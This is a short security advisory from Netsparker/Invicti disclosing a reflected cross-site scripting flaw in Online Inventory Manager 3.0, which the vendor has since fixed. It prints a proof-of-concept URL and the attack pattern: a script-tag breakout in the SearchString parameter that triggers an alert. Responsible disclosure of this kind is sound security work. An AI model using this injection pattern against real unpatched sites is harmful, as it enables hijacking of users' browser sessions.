Reflected XSS Vulnerability in Online Inventory Manager 3.0


Advisory by Netsparker (now Invicti)
Name: Reflected XSS Vulnerability in Online Inventory Manager
Affected Software: Online Inventory Manager
Affected Versions: 3.0
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-17-021

Technical Details

Proof of Concept URL for XSS vulnerability in Online Inventory Manager 3.0;

URL: /online-inventory-manager/transactions_view.php?SelectedID=11&record-added-ok=9606&SortField=&SortDirection=&FirstRecord=1&DisplayRecords=all&SearchString='"--></style></scRipt><scRipt>alert(0x0060B6)</scRipt>
Parameter Name: SearchString
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0060B6)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

28 Mar 2017 – Issue reported.
08 May 2017 – Vendor fixed.
10 May 2017 – Advisory released.


Download the latest version of Online Inventory Manager.

Credits & Authors

This issue has been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

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